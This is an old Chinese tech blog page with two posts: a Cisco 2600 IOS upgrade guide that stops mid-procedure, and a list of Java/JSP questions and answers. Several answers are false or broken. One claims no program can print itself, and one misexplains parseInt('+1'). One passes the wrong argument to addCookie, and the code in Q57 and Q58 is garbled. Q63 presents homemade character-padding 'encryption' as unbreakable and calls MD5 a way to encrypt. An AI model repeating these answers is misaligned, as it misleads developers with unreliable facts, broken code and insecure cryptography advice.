http://zhaoke.net

思科路由器系列软件安装与升级步骤

0

分类 : 技术文摘 | 发表时间 15-12-2005

本文说明了接入路由器平台上的Cisco IOS软件镜像的升级步骤。2600与3600系列路由器的升级实例也适用于下文所列的路由器平台。Cisco IOS软件文件名可能会根据Cisco IOS软件版本、功能设定以及平台等情况而发生变化。本文说明的是以下Cisco系列路由器:

  Cisco 1000系列路由器
  Cisco 1400系列路由器
  Cisco 1600[被屏蔽广告]- R系列路由器
  Cisco 1700系列路由器
  Cisco 2600系列路由器
  Cisco 3600系列路由器
  Cisco 3700系列路由器
  Cisco 4000系列路由器
  Cisco 4700系列路由器
  Cisco AS5300系列路由器
  Cisco MC3810系列路由器
 
  本文的信息基于Cisco IOS软件版本12.0或更新版本。

开始之前

  步骤1:安装TFTP服务器

  在TCP/IP就绪的工作站或者PC机上必须安装有小文件传送协议(TFTP)服务器或者远程复制协议(RCP)服务器应用程序。一旦安装了应用程序,则必须执行最低配置。

  首先,必须将TFTP应用程序配置为作为TFTP 服务器 运行,而非TFTP 客户机。
必须指定出站文件目录。在该目录中保存了Cisco IOS软件镜像(请参阅下文的 步骤2 )。大多数TFTP应用程序提供安装常规程序辅助这些配置任务。

  注意:软件功能套装光盘上包括TFTP服务器,可以在运行Windows 95、Windows 98、NT4.0以及Windows 2000的PC机上使用。对于其它的操作系统,可从独立软件供应商处获得许多TFTP或者RCP应用程序,或者从万维网公共资源中获得TFTP或者RCP应用程序的共享软件。软件功能套装光盘上的TFTP服务器应用程序也可在CCO上获得。

  对Windows 95、Windows 98、NT4.0以及Windows 2000下载TFTP服务器。

  步骤2: 选择Cisco IOS软件镜像

  检验您下载的Cisco IOS系统软件镜像是否同时支持您的硬件以及所需软件功能。您可以通过Cisco Software Advisor找到这些信息。下载您所选的软件版本之前,请确保您的路由器具有足够的动态RAM(DRAM)以及闪存来保存Cisco IOS软件镜像。在每个Cisco IOS软件版本的版本说明以及Cisco Software Center IOS Upgrade Planner中,您可以找到推荐的最小DRAM和闪存。

  有关如何选择正确的软件版本以及功能设置的更多信息,请参阅“ 如何选择Cisco IOS软件版本”。

  步骤3:下载Cisco IOS软件镜像

  将Cisco IOS软件镜像从Cisco IOS Upgrade Planner 下载至您的工作站或者PC机上。

Cisco 2600系列路由器的升级步骤

  建立到路由器的控制台会话

  检验TFTP服务器是否具有到路由器的IP连接

  经由TFTP服务器将新镜像复制到2600系列路由器的闪存中

分步程序

  步骤1:建立到路由器的控制台会话

  即使可以通过telnet话路连接至路由器,我们仍然强烈建议使用控制台端口直接连接至路由器。理由是:如果在升级期间发生了某些故障,则可能需要在物理上离路由器近一点,以便对它进行重启。另外,在路由器升级步骤中,当路由器重新启动时,telnet连接将丢失。

  采用反转电缆(通常是扁平黑色电缆)进行连接,并将路由器的控制台端口连接至PC机的一个COM端口。

  一旦PC机连接至路由器的控制台端口,您需要开启PC机上的超级终端,并且使用以下设定:

  Speed 9600 bits per second

  8 databits

  0 parity bits

  1 stop bit

  No Flow Control
 
  注意: 如果您在超级终端会话中获得了无效字符,这说明您没有正确设置超级终端的属性,或者路由器的config – register设定为非标准值,使得控制台连接速度高于9600 bps。请使用 show version 命令(在输出结果的最后一行中显示)检查config – register的值,并确保该值设定为0×2102或者0×102。必须重新加载路由器使配置寄存器生效。一旦您确信控制台速度在路由器方面设定为9600 bps,您应该检查上述超级终端属性。有关设定超级终端属性的详情,请参阅“ 应用正确的终端仿真器设定,实现控制台连接”。

启动问题

  一旦您连接了路由器的控制台端口,您可能会注意到路由器处于ROMmon模式或者Boot模式。这两种模式用于恢复与诊断步骤。如果您没有看见通常的路由器提示,您应该遵循以下的建议以继续进行升级步骤配置。

  1.路由器以rommon模式启动,当您发出 dir flash: 命令时,将出现以下信息。

  rommon 1 > dir flash:

  device does not contain a valid magic number

  dir: cannot open device “flash:”

  rommon 2 >

  当您看见以上报错信息时,这意味着闪存全空或者文件系统损坏。请参阅“使用ROMmon的Xmodem控制台下载步骤”。

  注意: 您还可能需要查阅 引导故障恢复步骤。

  2.路由器以boot模式启动,控制台上出现以下信息:

  router(boot)>

  device does not contain a valid magic number

  boot: cannot open “flash:”

  boot: cannot determine first file name on device “flash:”

  当您在控制台输出结果中看见以上报错信息时,这意味着闪存全空或者文件系统损坏。请通过执行本文提供的步骤将有效的镜像复制到闪存中。

  注意: 您可能需要查阅“ 引导故障恢复步骤 ”。
步骤2:检验TFTP服务器是否有到路由器的IP连接

  TFTP服务器和路由器之间必须有网络连接,且必须能ping出TFTP软件升级的目标路由器IP地址。要实现该操作,路由器接口与TFTP服务器必须具备:

  同范围的IP地址,或者 配置了默认网关。

  若要进行检验,请检查TFTP服务器的IP地址。有关详情,请参阅“ 确定IP地址 ”。

  步骤3:经由TFTP服务器将新镜像复制到2600系列路由器的闪存中

  您有IP连接,并能在担任TFTP服务器的计算机以及路由器之间执行ping操作,您可以将Cisco IOS软件镜像复制到闪存中。

  注意: 在复制之前,请确保您已开启了PC机上的TFTP服务器软件,并具备在TFTP服务器根目录中提及的文件名称。我们建议您在升级之前保留路由器/接入服务器配置的备份。升级本身并不影响配置(配置保存在非易失RAM(NVRAM)中)。 但是,如果没有正确执行操作步骤,则可能会产生影响。

  对于RCP应用程序,将所出现的每一个TFTP替换为RCP。例如,用 copy rcp flash 命令代替 copy tftp flash 命令。

  2600> enable

  Password:xxxxx

  2600#

  2600# copy tftp flash
 
  如果有必要,您可以将镜像从一个设备 复制 到另一个设备。

  指定TFTP服务器的IP地址。

  出现提示时,按照下面的样例输入TFTP服务器的IP地址:

  Address or name of remote host []? 10.10.10.2

  指定新Cisco IOS软件镜像的文件名称。

  出现提示时,请按照下面的样例输入将要安装的Cisco IOS软件镜像的文件名称:

  Source filename []? c2600-i-mz.121-14.bin

  注意: 文件名称区分大小写,因此请确保正确输入。

  指定目的地文件名称。

  这是新软件镜像加载至
路由器时所具有的名称。可对该镜像任意命名,但是一般都输入相同的镜像文件名称。

  Destination filename []? c2600-i-mz.121-14.bin

  注意: 如果您看到以下报错信息:

  %Error copying tftp://10.10.10.2/c2600-i-mz.121-14.bin

  (Not enough space on device)

  这个说明闪存中没有足够的空间来复制该镜像。在从TFTP服务器复制新的镜像之前,您需要删除一个或者多个文件。

从TFTP服务器升级新的镜像

  2610#copy tftp flash

  Address or name of remote host []? 10.10.10.2

  Source filename []? c2600-i-mz.121-14.bin

  Destination filename [c2600-i-mz.121-14.bin]?y

  Accessing tftp://10.10.10.2/c2600-i-mz.121-14.bin…

  Erase flash: before copying? [confirm]y !—如果没有足够的存储容量,可擦除闪存。

  Erasing the flash filesystem will remove all files! Continue? [confirm]y

  Erasing device… eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee

  eeeeeeeeee …erased

  Erase of flash: complete

  Loading c2600-i-mz.121-14.bin from 10.10.10.2 (via Ethernet0/0): !!!!!!!!

  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

  [OK - 4501480/9001984 bytes]

  Verifying checksum… OK (0xAC8A)

  4501480 bytes copied in 56.88 secs (80383 bytes/sec)

  复制过程将需要数分钟时间,时间长短因网络的不同而有所差异。在复制过程中,将显示信息提示已经 接入的文件。

  感叹号“!”表示正在处理复制流程。每一个感叹号表示已经成功传输了十个数据包。镜像的校验和鉴别将在镜像写入闪存后执行。

  有关软件传输问题的故障检修,可在“ 使用TFTP服务器或者RCP服务器安装镜像的常见问题”中找到。

  当您对闪存升级之后,您需要使用 reload 命令重新加载路由器。

  在您重新加载路由器之前,您需要检查两项内容:

  config – register值——您可以使用 show version 命令进行检查。在 show version 输出结果的最后一行中显示该值。该值应设定为0×2102。

  2610#configure terminal

  Enter configuration commands, one per line. End with CNTL/Z.

  2610(config)#config-register 0×2102

  2610(config)#^Z

70个JAVA问答

0

分类 : 编码知识 | 发表时间 11-12-2005

1. 问:在JAVA与JSP中要调用一个LINUX上的脚本程序,或WINDOWS上的脚本程序,该怎么写?
答:System.getRuntime().exec(“bash < aaa.sh");


2. 问:java中用什么表示双引号
答:”\”"


3. 问:如何在JSP程序里另起一个线程?
答:
JSP本身就是独立线程运行而不象CGI都是独立进程.
一般:
Thread t = new Thread(“你的对象\\”);
t.start();就可以了.
要求你这个对象要实现runnable接口或继承thread.


4. 问:jsp如何获得客户端的IP地址?
答:
request.getRemoteAddr()
看看各个webserver的API文档说明,一般都有自带的,resin和tomcat都有


5. 问:程序终止与输出终止
答:
程序中止:return;
输出中止:out.close();这一句相当于ASP的response.end


6. 问:jsp中如何得到上页的URL?
答:request.getHeader(“referer”);


7. 问:提交网页的网页过期功能是怎么做的?
答:response.setHader(“Expires”,”0″);


8. 问:在JSP网页中如何知道自已打开的页面的名称
答:
request.getRequestURI() ;//文件名
request.getRequestURL() ;//全部URL


9. 问:提交表单后验证没有通过,返回提交页面,如何使原提交页面中的数据保留?
答:javascript的go(-1)可以把上页的表单内容重新显示出来,但password域没有


10. 问:如何取得http的头信息?
答:request.getHader(headerName);


11. 问:&&和&的区别?
答:
&&是短路的与操作,也就是当地一个条件是false的时候,第二个条件不用执行
&相反,两个条件总是执行。


12. 问:将*以正弦曲线的一个周期显示出来
答:
public void paint(Graphics g)
{
for(int i=0;i<200;i++)
g.drawString(“*”,i,(int)(Math.sin(i)*20)+50);
}
}


13. 问:浮点数相乘后结果不精确如100.0 * 0.6 结果等于 60.0004
答:
这不叫错误,float和double是这样实现的.如果要精确计算,java提供了一个strictfp,它的计算遵循IEEE 754标准.而普通的float和double是由地平台浮点格式或硬件提供的额外精度或表示范围。


14. 问:如何获得当前用的cursors的位置?
答:
int row = rs.getRow()就是当前指针行数,还有isFrist();isBeforeFist();isLast();isAfterLast();可以测试是不是在方法名所说的位置


15. 问:表单成功提交了,点后退显示网页过期
答:
在里面加以下代码



或者在表单页中加上
<%
response.setHeader(“Pragma”,”no-cache”);
response.setHeader(“Cache-Control”,”no-cache”);
response.setDateHeader(“Expires”,0);
%>


16. 问:接口的简单理解
答:接口为了规范,比如我在接口中定义了一个方法:
getData()
这是用来从不同的数据库中取数据的,就是JDBC的实现对于用户,我不要知道每种数据库是如何做的,但我知道如何它们要实现这个接口就一定有这个方法可以供我调用.这样SUN就把这个接口给各个数据库开发商,让他们自己实现. 但为什么不用继承而用接口哩,因为继承只能从一个你类继承,而接口可以实现多个,就是说我实现的子类有多个规定好的接口中的功能. 这只是简单的理解,等你深入理解抽象的时候就知道抽象到抽象类时为什么还要再抽象到接口.


17. 问:怎样编写一个取消按钮(怎样返回上一个页面,象工具栏的后退按钮)?
答:
javascript把每次浏览过的location都压到了一个栈中,这个栈就是history,然后你如果要回到第几个页面它就做几次POP操作,把最后POP出来的那个LOCATION给你. 这就是javascript在实现history.go(-x)的原理.


18. 问:什么是回调?
答:
简单说,回调用不是让你去监听谁做完了什么事,而是谁做完了什么事就报告给你. 这就是回调用的思想.例子太多了,AWT的事件,SWING事件模型都是这样有. 还有多线程中,如果要控制线程数,不能总是查询每个线程是否结束,要在每个线程结束时让线程自己告诉主线程我结束了,你可以开新的线程了.


19. 问:简要介绍一下compareTo方法
答:
compareTo方法是Comparable 接口必需实现的方法,只要实现Comparable 就可以用Arrays.srot()排序就象实现Runnable接口的run就能Thread()一样.


20. 问:如何可以从别的Web服务器检索页, 然后把检索到的网页的HTML代码储存在一个变量中返回过来
答:这是一个简单的WEB ROBOT实现,用URL类实现从网页中抓内容,然后自己写一个分析程序从中找出新的URL,不断递归下去就行了.


21. 问:applet中如何获得键盘的输入
答:application的System.in是当前系统的标准输入,applet因为安全的原因不可能读取当前系统(客户端)的标准输入,只能从它的ROOT组件的事件中,比如键盘事件中取得键值.


22. 问:怎样计算代码执行所花费的时间?
答:
代码开始取时间,结束后取时间,相减
long t1 = System.currentTimeMillis();
///////////////// your code
long t2 = System.currentTimeMillis() ;
long time = t2-t1;


23. 问:如何获在程序中获得一个文件的ContentType?
答:
URL u = new URL(“file:///aaa.txt”);
URLConnection uc = u.openConnection();
String s = uc.getContentType();


24. 问:连接池的使用是建立很多连接池,还是一个连接池里用多个连接?
答:
只有在对象源不同的情况下才会发生多个池化,如果你只连一结一个数据源,永远不要用多个连结池. 所以连结池的初始化一定要做成静态的,而且应该在构造对象之前,也就是只有在类LOAD的时候,别的时候不应该有任何生成新的连结池的时候。


25. 问:JavaMail要怎么安装?
答:下载两个包,一个是javamail包,另一个是jaf包。下载完直接把这两个包不解压加到CLASSPATH。


26. 问:怎样把地址栏里的地址锁定?
答:把你的服务器的可访问目录索引选项关闭就行了,任何服务器都有一个conf文件,里面都有这个选项。


27. 问:在JAVA中怎么取得环境变量啊。比如: TEMP = C:\TEMP ?
答:String sss = System.getProperty(key)


28. 问:怎样实现四舍五入,保留小数点后两位小数?
答:
import java.text.*;

NumberFormat nf=NumberFormat.getNumberInstance();
nf.setMaximumFractionDigits(2);
nf.setMinimumFractionDigits(2);
nf.format(numb);


29. 问:Applet和form如何通信?
答:
取得的参数传到param里面
<%
String xxx = request.getParameter(“xxx”);
%>

插入数据库的中文,依然是乱码?
答:

要从环境看,能显示说明你的JSP引擎没有问题,但写入数据库时你的JDBC能不能处理中文,同一公司不同版本的JDBC都有支持中文和不支持中文的情况,RESIN自带的MYSQL JDBC就不支持,MM的就支持,还有你的数据库类型是否支持中文?CHAR的一般支持,但是否用binary存储双字节码


34. 问:对于JFrame,hide(),show()与setVisibel()有什么区别吗?
答:
setVisible()从Component继承过来,而hide(),show()从Window里面继承过来。
Makes the Window visible. If the Window and/or its owner are not yet displa yable, both are made displayable. The Window will be validated prior to being made visible. If t he Window is already visible, this will bring the Window to the front. 区别在这。


36. 问:sendRedirect为什么不可以转到mms协议的地址的?response.sendRedirect(“mms://missiah.adsldns.org:9394″);
答:java平台目前实现的protocol中并没有mms,你可以取系统属性java.protocol.handler.pkgs看看它的值中有没有mms,所以如果要想重定向到mms://host这样和URL,只有生成客户端的javascript让它来重定向


37. 问:JTable中怎样定义各个Columns和Width和怎样设置表格的内容靠做靠右或居中?
答:
TableColumn tc = table.getColumn(“Name”);//取得列名为”Name”的列Handle
int currentWidth = tc.getPreferredWidth(); //取得该列当前的宽度
tc.setPreferredWidth(200); //设置当前列宽
tc.setMaxWidth(200); //设置该列最大宽度
tc.setMinWidth(50); //设置该列最小宽度


38. 问:批操作是否可用于select语句?
答:批操作其实是指成批理更新的操作,绝对不可能用于select操作。


39. 问:为什么jsp路径太深文件名太长就无法读取文件?
答:path不能超过255长度,不然就找不到了.这是作业系统的事。


40. 问:如何让页面不保留缓存?
答:
<%
response.setHeader(“Pragma”,”No-cache”);
response.setHeader(“Cache-Control”,”no-cache”);
response.setDateHeader(“Expires”, 0);
%>


41. 问:我的applet code 中用到jbutton 时就出错是否由于ie不支持swing package 请问应怎么办?
答:JBUTTON是SWING基本包啊,只要把jdk/jre/lib/rt.jar放在classpath就行了.不要加载任何别的库。


42. 问:不知道java是否支持midi格式,如果支持,应该怎么把wave格式转换成midi格式?
答:目前还不行,可以看一下JMF三个版中对MIDI的格式支持是read only,而WAVE是read/write,MIDI只能播放,不能生成。


43. 问:在jsp里面防止用户直接输入url进去页面,应该怎么做呢?
答:
一是从web服务器控制,对某一目录的所有访问要通过验证.
二是在要访问的页面中加入控制.这个一般用session,也可以用请求状态码实现


44. 问:
例如后台有一计算应用程序(此程序运算起来很慢,可持续几分钟到几小时,这不管,主要是能激活它),客户机讲任务提交后,服务器对任务进行检测无误后将向服务器后台程序发送信息,并将其激活。要求如下:
1)首先将后台程序激活,让它执行此任务(比如,前台将计算的C代码提交上后,后台程序程序能马上调用,并将其运行)
2)要在前台JSP页面中显示运行过程信息(由于运行时间长,希望让客户看到运行过程中产生的信息)如何完成?

答:
活是可以的,运行一个shell让它去运行后台就行,但不可能取出运行信息,因为HTTP的超时限制不可能永远等你后台运行的,而且信息如果要动态实时推出来就得用SERVER PUSH技术。


45. 问:数据库是datetime 型 ,插入当前时间到数据库?
答:
java.sql.Date sqlDate = new java.sql.Date();
PreparedStatement pstmt = conn.prepareStatement(“insert into foo(time) values(?)”);
pstmt.setDate(1,sqlDate);
pstmt.executeUpdate();


46. 问:怎样去掉字符串前后的空格。
答:String.trim()


47. 问:session怎样存取int类型的变量?
答:
session.setAttribute(“int”, i+”");
int i = Integer.parseInt(session.getAttribute(“int”));


48. 问:在javascript中如何使输出的float类型的数据保留两位小数。
答:Math.round(aaaaa*100)/100。


49. 问:在bean种如何调用session
答:
你可把session对象作为一个参数传给bean
在BEAN中定义HttpServletRequest request;HttpSession session;
然后
session = request.getSession(false);
false为如果session为空,不建立新的session
将session作为参数传入.其实只要将request传入就可以


50. 问:如何把txt或word文件按原格式显示在jsp页面或servlet上?
答:
其实一个非常简单的解决方法就是在服务器的MIME中指点定TEXT和WORD的解释方式,然后用JSP或SERVLET生成它就行了,客户端就会自动调用相应程序打开你的文档。
如果是希望按原格式的显示在页面上,而不是调用其他程序打开那么你可以试试用WEBDEV协议,可以说这是MS的一个亮点.它是在WEB方式下打开文档,和共享一样.完全符合的要求。


51. 问:object的clone方法为什么不能直接调用?
答:
这个方法在object中是protected
为什么要把这个方法定义为protected,这是一个折中,它的目的是想知道你这个方法在Object里只是一个标记,而不是一个实现,比如

public class Object
{

………….
protected Object clone()
{}
}

所以直接继承的clone()方法并不能做任何时,你要使用这个方法就要重载这个方法并放宽访问权限为public,或实现cloneable接口. 但它没法这样告诉你它没有真的实现,只好用protected 方法加以警示


52. 问:一个页面中如何刷新另外一个页面?
答:
要求是这些面页必须有关联,一是它们都有一个共同的顶层帧,也就是说是一个帧内的分级页面,当然可以是任意级,帧内再分帧也可以,另一个可能是当前窗口弹出的窗口,如果没有联系,那就不可能用一个页面刷新另一个页面. 帧内只要一级一级引用就行了. 比如在左帧中一个页面中写top.right.location.reload();那么名为right的右帧中的页面就会刷新. 弹出的一样,用open时的名称刷新子窗口,子窗口用opener刷新主窗口


53. 问:如何在jsp中怎么样向客户端写cookies?
答:
Cookie coo = new Cookie(name, value);
HttpServletResponse.addCookie(name);


54. 问:为什么jTextField1.setText(“aaabbb”);jTextField2.setText(“AAABBB”); 得到的字体宽度不一样?
答:就是说如果不是指定为等宽字体,每个字体的宽度都是不一样的.因此JAVA中用FontMetrics 类来取字符宽度。


55. 问:String kk=application/octet-stream; name=”G:/SMBCrack.exe”;如何得到SMBCrack.exe?
答:
这应该是解析上传时候的二进制流得到的这一行里面格式是固定的,取到name=”后面的字符串,然后把”;去掉。然后取最后一个/后面的所有字符组成一个新字符串就行了。


56. 问:如何传值并不刷新页面?
答:
弹出一个页面进行值的选择或者输入,ok后使用将值传给原窗口,使用javascript关闭打开的窗口即可:
window.close();opener.focus();


57. 问:有一个字符串:”EF0C114EA4″,如何变为a[0] = 0xEF a[1] = 0x0C a[2] = 0×11 a[3] = 0x4E a[4] = 0xA4?
答:
String str=”EF0C114EA4F”;
out.print(str+”
“);
int l=str.length()/2+str.length()%2,j=0,k=0;
String[] a=new String[l];
for(int i=0;iif(str.length()-j==1)
k=str.length();
else
k=j+2;<
br/>a[i]=”0x”+str.substring(j,k);
out.print(“a["+Integer.toString(i)+"]=”+a[i]+”
“);
j+=2;
}


58. 问:怎样将一个int转换成一个四字节的byte数组?
答:
int x = 1234567;
byte[] b = new byte[4];
for(int i=0;i{
b[i] = (x >>( i*8)) & 0xFF;
}


59. 问:indexOf()的使用需要注意什么?
答:参数是指从第几位(1,2,3,…)开始搜索,而返回值是指搜索到的位置(0,1,2,3…….)注意是从零算起的。


60. 问:在Java应用程序中如何动态的添加一个按钮?
答:
这里涉及一个组件重绘的问题,组件要先于panel被显示之处存在,如果一panel已经显示了,那么加在上面你能看到吗?但如果在同一个panel上, 先有button A,假如按下它加了butt on B,这时你如果使整个panel重给,那么A本身要重绘,它的事件监听就没有了,当然也就加不成B了,所以如果要先有另一个panel,当按A时把B加在这个panel上并重绘这个paenl,其实更好的方法是先把B加在panel中,同一个也行.把它setVisiable(flase),按A时设为 true。


61. 问:book mybook=new book(bookid);book是servlet,出错。
答:
book是servlet,能book mybook=new book(bookid);
说明自己实现了servlet容器?不然,servlet能让你自己去调用? servlet如果调用其实和EJB连1%的区别都没有,它们都是自己继承或实现一些接口,在这些父类或接口中实现了如果和容器\”打交道”的方法,然后容器调用这些方法来管理它,让它生成实例,池化,钝化,销毁,再生等.所以这样写是错误的。


62. 问:给定一个字符串5*(5+9)/7怎样计算出结果?
答:
可有两种方法
1。用堆栈完成
2。最简单的方法,不用编程,如果有任何一个数据库的化,用select (5*(5+9)/7) from oneTable


63. 问:如何实现递交表单内容的加密解密?
答:
如果你用IE目前只能用SSL协议,这一层不要你考虑,否则只你用你自己的工具加密传输,接收后再解密友,至于如何加解,如果要和公认的系统结合,就用通用的MD5,RAS等公开算法,如果你只是自己传自己解,你随便按你的想法把数据加上一些东西,取回来按规则减掉这些东西,我敢保证除你自己没有任何人能知道解密方法.


64. 问:为什么Integer.parseInt(“+1″);会抛出NumberFormatException的异常?
答:因为”+”运行算在JAVA中被重载.系统无法确定你用的是算术加还是字符+。
这一点可以在javascript中更好地理解:

var a = document.t.s.value+1;
这时a = 12345,因为document.t.s.value作为字符串.但var a = document.t.s.value-1;
a 就是1233,因为系统知道-运算肯定是算术运行.所以把document.t.s.value转换成数字.


65. 问:hashCode() 有什么用为什么有时候需要覆盖Object里的hashcode()方法?
答:这就是这个对象的身份证啊,要不如何区分哪个对象。


66. 问:怎样在tomcat中实现一个定时执行的东东?
答:
在应用程序启动时自动运行。servlet2.3中定义了ServletListener,监听Servlet Con text的启动或则关闭(可在配置文件中配置),启动时触发一个守护程序的运行(可以实现java.util.Timer或则 javax.swing.Timer).


67. 问:程序可以输出自己吗?
答:孔德悖论这个非常有名的法则.就是说任何程序都不可能输出自己.


68. 问:能够把字符转化成ASCII码?比如将 A 转化成 65?
答:
int a=’A';
out.println(a);


69. 问:如何区分输入的文字中的全角与半角?
答:由于不能分辨出全角和半角字符的值有什么规律,只好把全角符号牧举出来了.


70. 问:用户注册后的自动发信程序该怎么做?
答:
这种发信程序不考虑性能,因为不可能1秒就有一个人注册,我们说的考虑性能的发信程序是指上百万封信在队列里要不停发送的那种,象你这个随便怎么写一个程序都行,没有必要用JAVAMAIL.只要指定一个发信的服务器然后用cocket连它的25口就行了.自己用SOCKET连SMTP的25口发一封信就好象两个邻居之间送一样东西,直接递过去得了,用JAVAMAIL,消息机制就是你把这个东西从邮局寄给你的邻居了

无觅相关文章插件,快速提升流量